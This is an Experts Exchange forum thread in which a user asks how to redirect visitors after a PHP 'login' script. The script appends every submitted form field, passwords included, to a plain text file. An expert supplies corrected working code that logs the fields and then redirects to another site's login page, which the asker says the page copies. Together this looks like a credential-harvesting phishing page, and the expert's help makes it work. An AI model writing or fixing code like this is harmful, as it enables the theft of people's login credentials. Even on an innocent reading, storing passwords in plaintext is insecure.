Link to home
Start Free TrialLog in
Avatar of winkx
winkx

asked on

PHP Page Redirect After Login/fopen

Currently creating a website, I have a login for my website. I log my usernames to see who has logged in each day. I got the code where it logs the users usernames down. But it just stays on that page, that contains the php code below. How can I redirect the user after he/she has log in.
<?php ('Location: http://login.here.com');$handle = fopen("usernames.txt", "a");foreach($_POST as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>

Open in new window

Avatar of Ionut A. Tudor
Ionut A. Tudor
Flag of Romania image

see below corrected code:

<?php
 
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable."=".$value);
}
fwrite($handle, "\r\n");
fclose($handle);
 
header('Location: http://login.here.com');
exit;
?>

Open in new window

Avatar of winkx
winkx

ASKER

no, http://login.here.com, grabs the source of my login. So, "http://login.here.com" should still stay at top of code and after the username is written in the .txt file I need the pade redirect. Sorry for the mix up.
ASKER CERTIFIED SOLUTION
Avatar of Ionut A. Tudor
Ionut A. Tudor
Flag of Romania image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial